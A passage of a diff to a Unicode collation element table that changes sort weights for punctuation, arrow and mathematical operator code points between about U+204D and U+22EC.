LEFTWARDS BULLET +204D ; [*03A2.0020.0002] # BLACK RIGHTWARDS BULLET +204E ; [*0389.0020.0002] # LOW ASTERISK +204F ; [*0235.0020.0002] # REVERSED SEMICOLON +2050 ; [*03AC.0020.0002] # CLOSE UP +2051 ; [*038A.0020.0002] # TWO ASTERISKS ALIGNED VERTICALLY +2052 ; [*0602.0020.0002] # COMMERCIAL MINUS SIGN 2053 ; [*021A.0020.0002] # SWUNG DASH -2054 ; [*03B1.0020.0002] # INVERTED UNDERTIE -2055 ; [*02E8.0020.0002] # FLOWER PUNCTUATION MARK -2056 ; [*02E9.0020.0002] # THREE DOT PUNCTUATION -2057 ; [*03AA.0020.0004][*03AA.0020.0004][*03AA.0020.0004][*03AA.0020.0004] # QUADRUPLE PRIME -2058 ; [*02EA.0020.0002] # FOUR DOT PUNCTUATION -2059 ; [*02EB.0020.0002] # FIVE DOT PUNCTUATION -205A ; [*02EC.0020.0002] # TWO DOT PUNCTUATION -205B ; [*02ED.0020.0002] # FOUR DOT MARK -205C ; [*02EE.0020.0002] # DOTTED CROSS -205D ; [*02EF.0020.0002] # TRICOLON -205E ; [*02F0.0020.0002] # VERTICAL FOUR DOTS +2054 ; [*03AA.0020.0002] # INVERTED UNDERTIE +2055 ; [*02E1.0020.0002] # FLOWER PUNCTUATION MARK +2056 ; [*02E2.0020.0002] # THREE DOT PUNCTUATION +2057 ; [*03A3.0020.0004][*03A3.0020.0004][*03A3.0020.0004][*03A3.0020.0004] # QUADRUPLE PRIME +2058 ; [*02E3.0020.0002] # FOUR DOT PUNCTUATION +2059 ; [*02E4.0020.0002] # FIVE DOT PUNCTUATION +205A ; [*02E5.0020.0002] # TWO DOT PUNCTUATION +205B ; [*02E6.0020.0002] # FOUR DOT MARK +205C ; [*02E7.0020.0002] # DOTTED CROSS +205D ; [*02E8.0020.0002] # TRICOLON +205E ; [*02E9.0020.0002] # VERTICAL FOUR DOTS 205F ; [*0209.0020.0004] # MEDIUM MATHEMATICAL SPACE 2061 ; [.0000.0000.0000] # FUNCTION APPLICATION 2062 ; [.0000.0000.0000] # INVISIBLE TIMES 2063 ; [.0000.0000.0000] # INVISIBLE SEPARATOR 2064 ; [.0000.0000.0000] # INVISIBLE PLUS -207A ; [*0616.0020.0014] # SUPERSCRIPT PLUS SIGN -207B ; [*0621.0020.0014] # SUPERSCRIPT MINUS -207C ; [*061B.0020.0014] # SUPERSCRIPT EQUALS SIGN -207D ; [*0317.0020.0014] # SUPERSCRIPT LEFT PARENTHESIS -207E ; [*0318.0020.0014] # SUPERSCRIPT RIGHT PARENTHESIS -208A ; [*0616.0020.0015] # SUBSCRIPT PLUS SIGN -208B ; [*0621.0020.0015] # SUBSCRIPT MINUS -208C ; [*061B.0020.0015] # SUBSCRIPT EQUALS SIGN -208D ; [*0317.0020.0015] # SUBSCRIPT LEFT PARENTHESIS -208E ; [*0318.0020.0015] # SUBSCRIPT RIGHT PARENTHESIS -2104 ; [*0586.0020.0002] # CENTRE LINE SYMBOL -2108 ; [*0587.0020.0002] # SCRUPLE -2114 ; [*0588.0020.0002] # L B BAR SYMBOL -2117 ; [*0589.0020.0002] # SOUND RECORDING COPYRIGHT -2118 ; [*058A.0020.0002] # SCRIPT CAPITAL P -211E ; [*058B.0020.0002] # PRESCRIPTION TAKE -211F ; [*058C.0020.0002] # RESPONSE -2123 ; [*058D.0020.0002] # VERSICLE -2125 ; [*058E.0020.0002] # OUNCE SIGN -2127 ; [*058F.0020.0002] # INVERTED OHM SIGN -2129 ; [*0590.0020.0002] # TURNED GREEK SMALL LETTER IOTA -212E ; [*0591.0020.0002] # ESTIMATED SYMBOL -213A ; [*0592.0020.0002] # ROTATED CAPITAL Q -2140 ; [*0615.0020.0005] # DOUBLE-STRUCK N-ARY SUMMATION -2141 ; [*0593.0020.0002] # TURNED SANS-SERIF CAPITAL G -2142 ; [*0594.0020.0002] # TURNED SANS-SERIF CAPITAL L -2143 ; [*0595.0020.0002] # REVERSED SANS-SERIF CAPITAL L -2144 ; [*0596.0020.0002] # TURNED SANS-SERIF CAPITAL Y -214A ; [*0597.0020.0002] # PROPERTY LINE -214B ; [*06B1.0020.0002] # TURNED AMPERSAND -214C ; [*0598.0020.0002] # PER SIGN -214F ; [*0599.0020.0002] # SYMBOL FOR SAMARITAN SOURCE -2180 ; [*1AC6.0020.0002] # ROMAN NUMERAL ONE THOUSAND C D -2181 ; [*1AC7.0020.0002] # ROMAN NUMERAL FIVE THOUSAND -2182 ; [*1AC8.0020.0002] # ROMAN NUMERAL TEN THOUSAND -2186 ; [*1AC9.0020.0002] # ROMAN NUMERAL FIFTY EARLY FORM -2187 ; [*1ACA.0020.0002] # ROMAN NUMERAL FIFTY THOUSAND -2188 ; [*1ACB.0020.0002] # ROMAN NUMERAL ONE HUNDRED THOUSAND -218A ; [*059A.0020.0002] # TURNED DIGIT TWO -218B ; [*059B.0020.0002] # TURNED DIGIT THREE -2190 ; [*059C.0020.0002] # LEFTWARDS ARROW -2191 ; [*059E.0020.0002] # UPWARDS ARROW -2192 ; [*059D.0020.0002] # RIGHTWARDS ARROW -2193 ; [*059F.0020.0002] # DOWNWARDS ARROW -2194 ; [*05A0.0020.0002] # LEFT RIGHT ARROW -2195 ; [*05A1.0020.0002] # UP DOWN ARROW -2196 ; [*05A2.0020.0002] # NORTH WEST ARROW -2197 ; [*05A3.0020.0002] # NORTH EAST ARROW -2198 ; [*05A4.0020.0002] # SOUTH EAST ARROW -2199 ; [*05A5.0020.0002] # SOUTH WEST ARROW -219A ; [*059C.0020.0002][.0000.002F.0002] # LEFTWARDS ARROW WITH STROKE -219B ; [*059D.0020.0002][.0000.002F.0002] # RIGHTWARDS ARROW WITH STROKE -219C ; [*05A6.0020.0002] # LEFTWARDS WAVE ARROW -219D ; [*05A7.0020.0002] # RIGHTWARDS WAVE ARROW -219E ; [*05A8.0020.0002] # LEFTWARDS TWO HEADED ARROW -219F ; [*05A9.0020.0002] # UPWARDS TWO HEADED ARROW -21A0 ; [*05AA.0020.0002] # RIGHTWARDS TWO HEADED ARROW -21A1 ; [*05AB.0020.0002] # DOWNWARDS TWO HEADED ARROW -21A2 ; [*05AC.0020.0002] # LEFTWARDS ARROW WITH TAIL -21A3 ; [*05AD.0020.0002] # RIGHTWARDS ARROW WITH TAIL -21A4 ; [*05AE.0020.0002] # LEFTWARDS ARROW FROM BAR -21A5 ; [*05AF.0020.0002] # UPWARDS ARROW FROM BAR -21A6 ; [*05B0.0020.0002] # RIGHTWARDS ARROW FROM BAR -21A7 ; [*05B1.0020.0002] # DOWNWARDS ARROW FROM BAR -21A8 ; [*05B2.0020.0002] # UP DOWN ARROW WITH BASE -21A9 ; [*05B3.0020.0002] # LEFTWARDS ARROW WITH HOOK -21AA ; [*05B4.0020.0002] # RIGHTWARDS ARROW WITH HOOK -21AB ; [*05B5.0020.0002] # LEFTWARDS ARROW WITH LOOP -21AC ; [*05B6.0020.0002] # RIGHTWARDS ARROW WITH LOOP -21AD ; [*05B7.0020.0002] # LEFT RIGHT WAVE ARROW -21AE ; [*05A0.0020.0002][.0000.002F.0002] # LEFT RIGHT ARROW WITH STROKE -21AF ; [*05B8.0020.0002] # DOWNWARDS ZIGZAG ARROW -21B0 ; [*05B9.0020.0002] # UPWARDS ARROW WITH TIP LEFTWARDS -21B1 ; [*05BA.0020.0002] # UPWARDS ARROW WITH TIP RIGHTWARDS -21B2 ; [*05BB.0020.0002] # DOWNWARDS ARROW WITH TIP LEFTWARDS -21B3 ; [*05BC.0020.0002] # DOWNWARDS ARROW WITH TIP RIGHTWARDS -21B4 ; [*05BD.0020.0002] # RIGHTWARDS ARROW WITH CORNER DOWNWARDS -21B5 ; [*05BE.0020.0002] # DOWNWARDS ARROW WITH CORNER LEFTWARDS -21B6 ; [*05BF.0020.0002] # ANTICLOCKWISE TOP SEMICIRCLE ARROW -21B7 ; [*05C0.0020.0002] # CLOCKWISE TOP SEMICIRCLE ARROW -21B8 ; [*05C1.0020.0002] # NORTH WEST ARROW TO LONG BAR -21B9 ; [*05C2.0020.0002] # LEFTWARDS ARROW TO BAR OVER RIGHTWARDS ARROW TO BAR -21BA ; [*05C3.0020.0002] # ANTICLOCKWISE OPEN CIRCLE ARROW -21BB ; [*05C4.0020.0002] # CLOCKWISE OPEN CIRCLE ARROW -21BC ; [*05C5.0020.0002] # LEFTWARDS HARPOON WITH BARB UPWARDS -21BD ; [*05C6.0020.0002] # LEFTWARDS HARPOON WITH BARB DOWNWARDS -21BE ; [*05C7.0020.0002] # UPWARDS HARPOON WITH BARB RIGHTWARDS -21BF ; [*05C8.0020.0002] # UPWARDS HARPOON WITH BARB LEFTWARDS -21C0 ; [*05C9.0020.0002] # RIGHTWARDS HARPOON WITH BARB UPWARDS -21C1 ; [*05CA.0020.0002] # RIGHTWARDS HARPOON WITH BARB DOWNWARDS -21C2 ; [*05CB.0020.0002] # DOWNWARDS HARPOON WITH BARB RIGHTWARDS -21C3 ; [*05CC.0020.0002] # DOWNWARDS HARPOON WITH BARB LEFTWARDS -21C4 ; [*05CD.0020.0002] # RIGHTWARDS ARROW OVER LEFTWARDS ARROW -21C5 ; [*05CE.0020.0002] # UPWARDS ARROW LEFTWARDS OF DOWNWARDS ARROW -21C6 ; [*05CF.0020.0002] # LEFTWARDS ARROW OVER RIGHTWARDS ARROW -21C7 ; [*05D0.0020.0002] # LEFTWARDS PAIRED ARROWS -21C8 ; [*05D1.0020.0002] # UPWARDS PAIRED ARROWS -21C9 ; [*05D2.0020.0002] # RIGHTWARDS PAIRED ARROWS -21CA ; [*05D3.0020.0002] # DOWNWARDS PAIRED ARROWS -21CB ; [*05D4.0020.0002] # LEFTWARDS HARPOON OVER RIGHTWARDS HARPOON -21CC ; [*05D5.0020.0002] # RIGHTWARDS HARPOON OVER LEFTWARDS HARPOON -21CD ; [*05D6.0020.0002][.0000.002F.0002] # LEFTWARDS DOUBLE ARROW WITH STROKE -21CE ; [*05DA.0020.0002][.0000.002F.0002] # LEFT RIGHT DOUBLE ARROW WITH STROKE -21CF ; [*05D8.0020.0002][.0000.002F.0002] # RIGHTWARDS DOUBLE ARROW WITH STROKE -21D0 ; [*05D6.0020.0002] # LEFTWARDS DOUBLE ARROW -21D1 ; [*05D7.0020.0002] # UPWARDS DOUBLE ARROW -21D2 ; [*05D8.0020.0002] # RIGHTWARDS DOUBLE ARROW -21D3 ; [*05D9.0020.0002] # DOWNWARDS DOUBLE ARROW -21D4 ; [*05DA.0020.0002] # LEFT RIGHT DOUBLE ARROW -21D5 ; [*05DB.0020.0002] # UP DOWN DOUBLE ARROW -21D6 ; [*05DC.0020.0002] # NORTH WEST DOUBLE ARROW -21D7 ; [*05DD.0020.0002] # NORTH EAST DOUBLE ARROW -21D8 ; [*05DE.0020.0002] # SOUTH EAST DOUBLE ARROW -21D9 ; [*05DF.0020.0002] # SOUTH WEST DOUBLE ARROW -21DA ; [*05E0.0020.0002] # LEFTWARDS TRIPLE ARROW -21DB ; [*05E1.0020.0002] # RIGHTWARDS TRIPLE ARROW -21DC ; [*05E2.0020.0002] # LEFTWARDS SQUIGGLE ARROW -21DD ; [*05E3.0020.0002] # RIGHTWARDS SQUIGGLE ARROW -21DE ; [*05E4.0020.0002] # UPWARDS ARROW WITH DOUBLE STROKE -21DF ; [*05E5.0020.0002] # DOWNWARDS ARROW WITH DOUBLE STROKE -21E0 ; [*05E6.0020.0002] # LEFTWARDS DASHED ARROW -21E1 ; [*05E7.0020.0002] # UPWARDS DASHED ARROW -21E2 ; [*05E8.0020.0002] # RIGHTWARDS DASHED ARROW -21E3 ; [*05E9.0020.0002] # DOWNWARDS DASHED ARROW -21E4 ; [*05EA.0020.0002] # LEFTWARDS ARROW TO BAR -21E5 ; [*05EB.0020.0002] # RIGHTWARDS ARROW TO BAR -21E6 ; [*05EC.0020.0002] # LEFTWARDS WHITE ARROW -21E7 ; [*05ED.0020.0002] # UPWARDS WHITE ARROW -21E8 ; [*05EE.0020.0002] # RIGHTWARDS WHITE ARROW -21E9 ; [*05EF.0020.0002] # DOWNWARDS WHITE ARROW -21EA ; [*05F0.0020.0002] # UPWARDS WHITE ARROW FROM BAR -21EB ; [*05F1.0020.0002] # UPWARDS WHITE ARROW ON PEDESTAL -21EC ; [*05F2.0020.0002] # UPWARDS WHITE ARROW ON PEDESTAL WITH HORIZONTAL BAR -21ED ; [*05F3.0020.0002] # UPWARDS WHITE ARROW ON PEDESTAL WITH VERTICAL BAR -21EE ; [*05F4.0020.0002] # UPWARDS WHITE DOUBLE ARROW -21EF ; [*05F5.0020.0002] # UPWARDS WHITE DOUBLE ARROW ON PEDESTAL -21F0 ; [*05F6.0020.0002] # RIGHTWARDS WHITE ARROW FROM WALL -21F1 ; [*05F7.0020.0002] # NORTH WEST ARROW TO CORNER -21F2 ; [*05F8.0020.0002] # SOUTH EAST ARROW TO CORNER -21F3 ; [*05F9.0020.0002] # UP DOWN WHITE ARROW -21F4 ; [*05FA.0020.0002] # RIGHT ARROW WITH SMALL CIRCLE -21F5 ; [*05FB.0020.0002] # DOWNWARDS ARROW LEFTWARDS OF UPWARDS ARROW -21F6 ; [*05FC.0020.0002] # THREE RIGHTWARDS ARROWS -21F7 ; [*05FD.0020.0002] # LEFTWARDS ARROW WITH VERTICAL STROKE -21F8 ; [*05FE.0020.0002] # RIGHTWARDS ARROW WITH VERTICAL STROKE -21F9 ; [*05FF.0020.0002] # LEFT RIGHT ARROW WITH VERTICAL STROKE -21FA ; [*0600.0020.0002] # LEFTWARDS ARROW WITH DOUBLE VERTICAL STROKE -21FB ; [*0601.0020.0002] # RIGHTWARDS ARROW WITH DOUBLE VERTICAL STROKE -21FC ; [*0602.0020.0002] # LEFT RIGHT ARROW WITH DOUBLE VERTICAL STROKE -21FD ; [*0603.0020.0002] # LEFTWARDS OPEN-HEADED ARROW -21FE ; [*0604.0020.0002] # RIGHTWARDS OPEN-HEADED ARROW -21FF ; [*0605.0020.0002] # LEFT RIGHT OPEN-HEADED ARROW -2200 ; [*0606.0020.0002] # FOR ALL -2201 ; [*0607.0020.0002] # COMPLEMENT -2202 ; [*0608.0020.0002] # PARTIAL DIFFERENTIAL -2203 ; [*0609.0020.0002] # THERE EXISTS -2204 ; [*0609.0020.0002][.0000.002F.0002] # THERE DOES NOT EXIST -2205 ; [*060A.0020.0002] # EMPTY SET -2206 ; [*060B.0020.0002] # INCREMENT -2207 ; [*060C.0020.0002] # NABLA -2208 ; [*060D.0020.0002] # ELEMENT OF -2209 ; [*060D.0020.0002][.0000.002F.0002] # NOT AN ELEMENT OF -220A ; [*060E.0020.0002] # SMALL ELEMENT OF -220B ; [*060F.0020.0002] # CONTAINS AS MEMBER -220C ; [*060F.0020.0002][.0000.002F.0002] # DOES NOT CONTAIN AS MEMBER -220D ; [*0610.0020.0002] # SMALL CONTAINS AS MEMBER -220E ; [*0612.0020.0002] # END OF PROOF -220F ; [*0613.0020.0002] # N-ARY PRODUCT -2210 ; [*0614.0020.0002] # N-ARY COPRODUCT -2211 ; [*0615.0020.0002] # N-ARY SUMMATION -2212 ; [*0621.0020.0002] # MINUS SIGN -2213 ; [*0623.0020.0002] # MINUS-OR-PLUS SIGN -2214 ; [*0624.0020.0002] # DOT PLUS -2215 ; [*0625.0020.0002] # DIVISION SLASH -2216 ; [*0627.0020.0002] # SET MINUS -2217 ; [*0628.0020.0002] # ASTERISK OPERATOR -2218 ; [*0629.0020.0002] # RING OPERATOR -2219 ; [*062A.0020.0002] # BULLET OPERATOR -221A ; [*062B.0020.0002] # SQUARE ROOT -221B ; [*062C.0020.0002] # CUBE ROOT -221C ; [*062E.0020.0002] # FOURTH ROOT -221D ; [*0630.0020.0002] # PROPORTIONAL TO -221E ; [*0631.0020.0002] # INFINITY -221F ; [*0632.0020.0002] # RIGHT ANGLE -2220 ; [*0633.0020.0002] # ANGLE -2221 ; [*0634.0020.0002] # MEASURED ANGLE -2222 ; [*0635.0020.0002] # SPHERICAL ANGLE -2223 ; [*0636.0020.0002] # DIVIDES -2224 ; [*0636.0020.0002][.0000.002F.0002] # DOES NOT DIVIDE -2225 ; [*0637.0020.0002] # PARALLEL TO -2226 ; [*0637.0020.0002][.0000.002F.0002] # NOT PARALLEL TO -2227 ; [*0638.0020.0002] # LOGICAL AND -2228 ; [*0639.0020.0002] # LOGICAL OR -2229 ; [*063A.0020.0002] # INTERSECTION -222A ; [*063B.0020.0002] # UNION -222B ; [*063C.0020.0002] # INTEGRAL -222C ; [*063C.0020.0004][*063C.0020.0004] # DOUBLE INTEGRAL -222D ; [*063C.0020.0004][*063C.0020.0004][*063C.0020.0004] # TRIPLE INTEGRAL -222E ; [*063D.0020.0002] # CONTOUR INTEGRAL -222F ; [*063D.0020.0004][*063D.0020.0004] # SURFACE INTEGRAL -2230 ; [*063D.0020.0004][*063D.0020.0004][*063D.0020.0004] # VOLUME INTEGRAL -2231 ; [*063E.0020.0002] # CLOCKWISE INTEGRAL -2232 ; [*063F.0020.0002] # CLOCKWISE CONTOUR INTEGRAL -2233 ; [*0640.0020.0002] # ANTICLOCKWISE CONTOUR INTEGRAL -2234 ; [*0641.0020.0002] # THEREFORE -2235 ; [*0642.0020.0002] # BECAUSE -2236 ; [*0643.0020.0002] # RATIO -2237 ; [*0644.0020.0002] # PROPORTION -2238 ; [*0645.0020.0002] # DOT MINUS -2239 ; [*0646.0020.0002] # EXCESS -223A ; [*0647.0020.0002] # GEOMETRIC PROPORTION -223B ; [*0648.0020.0002] # HOMOTHETIC -223C ; [*0649.0020.0002] # TILDE OPERATOR -223D ; [*064A.0020.0002] # REVERSED TILDE -223E ; [*064B.0020.0002] # INVERTED LAZY S -223F ; [*064C.0020.0002] # SINE WAVE -2240 ; [*064D.0020.0002] # WREATH PRODUCT -2241 ; [*0649.0020.0002][.0000.002F.0002] # NOT TILDE -2242 ; [*064E.0020.0002] # MINUS TILDE -2243 ; [*064F.0020.0002] # ASYMPTOTICALLY EQUAL TO -2244 ; [*064F.0020.0002][.0000.002F.0002] # NOT ASYMPTOTICALLY EQUAL TO -2245 ; [*0650.0020.0002] # APPROXIMATELY EQUAL TO -2246 ; [*0651.0020.0002] # APPROXIMATELY BUT NOT ACTUALLY EQUAL TO -2247 ; [*0650.0020.0002][.0000.002F.0002] # NEITHER APPROXIMATELY NOR ACTUALLY EQUAL TO -2248 ; [*0652.0020.0002] # ALMOST EQUAL TO -2249 ; [*0652.0020.0002][.0000.002F.0002] # NOT ALMOST EQUAL TO -224A ; [*0653.0020.0002] # ALMOST EQUAL OR EQUAL TO -224B ; [*0654.0020.0002] # TRIPLE TILDE -224C ; [*0655.0020.0002] # ALL EQUAL TO -224D ; [*0656.0020.0002] # EQUIVALENT TO -224E ; [*0657.0020.0002] # GEOMETRICALLY EQUIVALENT TO -224F ; [*0658.0020.0002] # DIFFERENCE BETWEEN -2250 ; [*0659.0020.0002] # APPROACHES THE LIMIT -2251 ; [*065A.0020.0002] # GEOMETRICALLY EQUAL TO -2252 ; [*065B.0020.0002] # APPROXIMATELY EQUAL TO OR THE IMAGE OF -2253 ; [*065C.0020.0002] # IMAGE OF OR APPROXIMATELY EQUAL TO -2254 ; [*065D.0020.0002] # COLON EQUALS -2255 ; [*065E.0020.0002] # EQUALS COLON -2256 ; [*065F.0020.0002] # RING IN EQUAL TO -2257 ; [*0660.0020.0002] # RING EQUAL TO -2258 ; [*0661.0020.0002] # CORRESPONDS TO -2259 ; [*0662.0020.0002] # ESTIMATES -225A ; [*0663.0020.0002] # EQUIANGULAR TO -225B ; [*0664.0020.0002] # STAR EQUALS -225C ; [*0665.0020.0002] # DELTA EQUAL TO -225D ; [*0666.0020.0002] # EQUAL TO BY DEFINITION -225E ; [*0667.0020.0002] # MEASURED BY -225F ; [*0668.0020.0002] # QUESTIONED EQUAL TO -2260 ; [*061B.0020.0002][.0000.002F.0002] # NOT EQUAL TO -2261 ; [*0669.0020.0002] # IDENTICAL TO -2262 ; [*0669.0020.0002][.0000.002F.0002] # NOT IDENTICAL TO -2263 ; [*066A.0020.0002] # STRICTLY EQUIVALENT TO -2264 ; [*066B.0020.0002] # LESS-THAN OR EQUAL TO -2265 ; [*066C.0020.0002] # GREATER-THAN OR EQUAL TO -2266 ; [*066D.0020.0002] # LESS-THAN OVER EQUAL TO -2267 ; [*066E.0020.0002] # GREATER-THAN OVER EQUAL TO -2268 ; [*066F.0020.0002] # LESS-THAN BUT NOT EQUAL TO -2269 ; [*0670.0020.0002] # GREATER-THAN BUT NOT EQUAL TO -226A ; [*0671.0020.0002] # MUCH LESS-THAN -226B ; [*0672.0020.0002] # MUCH GREATER-THAN -226C ; [*0673.0020.0002] # BETWEEN -226D ; [*0656.0020.0002][.0000.002F.0002] # NOT EQUIVALENT TO -226E ; [*061A.0020.0002][.0000.002F.0002] # NOT LESS-THAN -226F ; [*061C.0020.0002][.0000.002F.0002] # NOT GREATER-THAN -2270 ; [*066B.0020.0002][.0000.002F.0002] # NEITHER LESS-THAN NOR EQUAL TO -2271 ; [*066C.0020.0002][.0000.002F.0002] # NEITHER GREATER-THAN NOR EQUAL TO -2272 ; [*0674.0020.0002] # LESS-THAN OR EQUIVALENT TO -2273 ; [*0675.0020.0002] # GREATER-THAN OR EQUIVALENT TO -2274 ; [*0674.0020.0002][.0000.002F.0002] # NEITHER LESS-THAN NOR EQUIVALENT TO -2275 ; [*0675.0020.0002][.0000.002F.0002] # NEITHER GREATER-THAN NOR EQUIVALENT TO -2276 ; [*0676.0020.0002] # LESS-THAN OR GREATER-THAN -2277 ; [*0677.0020.0002] # GREATER-THAN OR LESS-THAN -2278 ; [*0676.0020.0002][.0000.002F.0002] # NEITHER LESS-THAN NOR GREATER-THAN -2279 ; [*0677.0020.0002][.0000.002F.0002] # NEITHER GREATER-THAN NOR LESS-THAN -227A ; [*0678.0020.0002] # PRECEDES -227B ; [*0679.0020.0002] # SUCCEEDS -227C ; [*067A.0020.0002] # PRECEDES OR EQUAL TO -227D ; [*067B.0020.0002] # SUCCEEDS OR EQUAL TO -227E ; [*067C.0020.0002] # PRECEDES OR EQUIVALENT TO -227F ; [*067D.0020.0002] # SUCCEEDS OR EQUIVALENT TO -2280 ; [*0678.0020.0002][.0000.002F.0002] # DOES NOT PRECEDE -2281 ; [*0679.0020.0002][.0000.002F.0002] # DOES NOT SUCCEED -2282 ; [*067E.0020.0002] # SUBSET OF -2283 ; [*067F.0020.0002] # SUPERSET OF -2284 ; [*067E.0020.0002][.0000.002F.0002] # NOT A SUBSET OF -2285 ; [*067F.0020.0002][.0000.002F.0002] # NOT A SUPERSET OF -2286 ; [*0680.0020.0002] # SUBSET OF OR EQUAL TO -2287 ; [*0681.0020.0002] # SUPERSET OF OR EQUAL TO -2288 ; [*0680.0020.0002][.0000.002F.0002] # NEITHER A SUBSET OF NOR EQUAL TO -2289 ; [*0681.0020.0002][.0000.002F.0002] # NEITHER A SUPERSET OF NOR EQUAL TO -228A ; [*0682.0020.0002] # SUBSET OF WITH NOT EQUAL TO -228B ; [*0683.0020.0002] # SUPERSET OF WITH NOT EQUAL TO -228C ; [*0684.0020.0002] # MULTISET -228D ; [*0685.0020.0002] # MULTISET MULTIPLICATION -228E ; [*0686.0020.0002] # MULTISET UNION -228F ; [*0687.0020.0002] # SQUARE IMAGE OF -2290 ; [*0688.0020.0002] # SQUARE ORIGINAL OF -2291 ; [*0689.0020.0002] # SQUARE IMAGE OF OR EQUAL TO -2292 ; [*068A.0020.0002] # SQUARE ORIGINAL OF OR EQUAL TO -2293 ; [*068B.0020.0002] # SQUARE CAP -2294 ; [*068C.0020.0002] # SQUARE CUP -2295 ; [*068D.0020.0002] # CIRCLED PLUS -2296 ; [*068E.0020.0002] # CIRCLED MINUS -2297 ; [*068F.0020.0002] # CIRCLED TIMES -2298 ; [*0690.0020.0002] # CIRCLED DIVISION SLASH -2299 ; [*0691.0020.0002] # CIRCLED DOT OPERATOR -229A ; [*0692.0020.0002] # CIRCLED RING OPERATOR -229B ; [*0693.0020.0002] # CIRCLED ASTERISK OPERATOR -229C ; [*0694.0020.0002] # CIRCLED EQUALS -229D ; [*0695.0020.0002] # CIRCLED DASH -229E ; [*0696.0020.0002] # SQUARED PLUS -229F ; [*0697.0020.0002] # SQUARED MINUS -22A0 ; [*0698.0020.0002] # SQUARED TIMES -22A1 ; [*0699.0020.0002] # SQUARED DOT OPERATOR -22A2 ; [*069A.0020.0002] # RIGHT TACK -22A3 ; [*069B.0020.0002] # LEFT TACK -22A4 ; [*069C.0020.0002] # DOWN TACK -22A5 ; [*069D.0020.0002] # UP TACK -22A6 ; [*069E.0020.0002] # ASSERTION -22A7 ; [*069F.0020.0002] # MODELS -22A8 ; [*06A0.0020.0002] # TRUE -22A9 ; [*06A1.0020.0002] # FORCES -22AA ; [*06A2.0020.0002] # TRIPLE VERTICAL BAR RIGHT TURNSTILE -22AB ; [*06A3.0020.0002] # DOUBLE VERTICAL BAR DOUBLE RIGHT TURNSTILE -22AC ; [*069A.0020.0002][.0000.002F.0002] # DOES NOT PROVE -22AD ; [*06A0.0020.0002][.0000.002F.0002] # NOT TRUE -22AE ; [*06A1.0020.0002][.0000.002F.0002] # DOES NOT FORCE -22AF ; [*06A3.0020.0002][.0000.002F.0002] # NEGATED DOUBLE VERTICAL BAR DOUBLE RIGHT TURNSTILE -22B0 ; [*06A4.0020.0002] # PRECEDES UNDER RELATION -22B1 ; [*06A5.0020.0002] # SUCCEEDS UNDER RELATION -22B2 ; [*06A6.0020.0002] # NORMAL SUBGROUP OF -22B3 ; [*06A7.0020.0002] # CONTAINS AS NORMAL SUBGROUP -22B4 ; [*06A8.0020.0002] # NORMAL SUBGROUP OF OR EQUAL TO -22B5 ; [*06A9.0020.0002] # CONTAINS AS NORMAL SUBGROUP OR EQUAL TO -22B6 ; [*06AA.0020.0002] # ORIGINAL OF -22B7 ; [*06AB.0020.0002] # IMAGE OF -22B8 ; [*06AC.0020.0002] # MULTIMAP -22B9 ; [*06AD.0020.0002] # HERMITIAN CONJUGATE MATRIX -22BA ; [*06AE.0020.0002] # INTERCALATE -22BB ; [*06AF.0020.0002] # XOR -22BC ; [*06B0.0020.0002] # NAND -22BD ; [*06B2.0020.0002] # NOR -22BE ; [*06B3.0020.0002] # RIGHT ANGLE WITH ARC -22BF ; [*06B4.0020.0002] # RIGHT TRIANGLE -22C0 ; [*06B5.0020.0002] # N-ARY LOGICAL AND -22C1 ; [*06B6.0020.0002] # N-ARY LOGICAL OR -22C2 ; [*06B7.0020.0002] # N-ARY INTERSECTION -22C3 ; [*06B8.0020.0002] # N-ARY UNION -22C4 ; [*06B9.0020.0002] # DIAMOND OPERATOR -22C5 ; [*06BA.0020.0002] # DOT OPERATOR -22C6 ; [*06BB.0020.0002] # STAR OPERATOR -22C7 ; [*06BC.0020.0002] # DIVISION TIMES -22C8 ; [*06BD.0020.0002] # BOWTIE -22C9 ; [*06BE.0020.0002] # LEFT NORMAL FACTOR SEMIDIRECT PRODUCT -22CA ; [*06BF.0020.0002] # RIGHT NORMAL FACTOR SEMIDIRECT PRODUCT -22CB ; [*06C0.0020.0002] # LEFT SEMIDIRECT PRODUCT -22CC ; [*06C1.0020.0002] # RIGHT SEMIDIRECT PRODUCT -22CD ; [*06C2.0020.0002] # REVERSED TILDE EQUALS -22CE ; [*06C3.0020.0002] # CURLY LOGICAL OR -22CF ; [*06C4.0020.0002] # CURLY LOGICAL AND -22D0 ; [*06C5.0020.0002] # DOUBLE SUBSET -22D1 ; [*06C6.0020.0002] # DOUBLE SUPERSET -22D2 ; [*06C7.0020.0002] # DOUBLE INTERSECTION -22D3 ; [*06C8.0020.0002] # DOUBLE UNION -22D4 ; [*06C9.0020.0002] # PITCHFORK -22D5 ; [*06CA.0020.0002] # EQUAL AND PARALLEL TO -22D6 ; [*06CB.0020.0002] # LESS-THAN WITH DOT -22D7 ; [*06CC.0020.0002] # GREATER-THAN WITH DOT -22D8 ; [*06CD.0020.0002] # VERY MUCH LESS-THAN -22D9 ; [*06CE.0020.0002] # VERY MUCH GREATER-THAN -22DA ; [*06CF.0020.0002] # LESS-THAN EQUAL TO OR GREATER-THAN -22DB ; [*06D0.0020.0002] # GREATER-THAN EQUAL TO OR LESS-THAN -22DC ; [*06D1.0020.0002] # EQUAL TO OR LESS-THAN -22DD ; [*06D2.0020.0002] # EQUAL TO OR GREATER-THAN -22DE ; [*06D3.0020.0002] # EQUAL TO OR PRECEDES -22DF ; [*06D4.0020.0002] # EQUAL TO OR SUCCEEDS -22E0 ; [*067A.0020.0002][.0000.002F.0002] # DOES NOT PRECEDE OR EQUAL -22E1 ; [*067B.0020.0002][.0000.002F.0002] # DOES NOT SUCCEED OR EQUAL -22E2 ; [*0689.0020.0002][.0000.002F.0002] # NOT SQUARE IMAGE OF OR EQUAL TO -22E3 ; [*068A.0020.0002][.0000.002F.0002] # NOT SQUARE ORIGINAL OF OR EQUAL TO -22E4 ; [*06D5.0020.0002] # SQUARE IMAGE OF OR NOT EQUAL TO -22E5 ; [*06D6.0020.0002] # SQUARE ORIGINAL OF OR NOT EQUAL TO -22E6 ; [*06D7.0020.0002] # LESS-THAN BUT NOT EQUIVALENT TO -22E7 ; [*06D8.0020.0002] # GREATER-THAN BUT NOT EQUIVALENT TO -22E8 ; [*06D9.0020.0002] # PRECEDES BUT NOT EQUIVALENT TO -22E9 ; [*06DA.0020.0002] # SUCCEEDS BUT NOT EQUIVALENT TO -22EA ; [*06A6.0020.0002][.0000.002F.0002] # NOT NORMAL SUBGROUP OF -22EB ; [*06A7.0020.0002][.0000.002F.0002] # DOES NOT CONTAIN AS NORMAL SUBGROUP -22EC ; [*06A8.0020.0002][.0000.002F.0002] # NOT NORMAL SUBGROUP 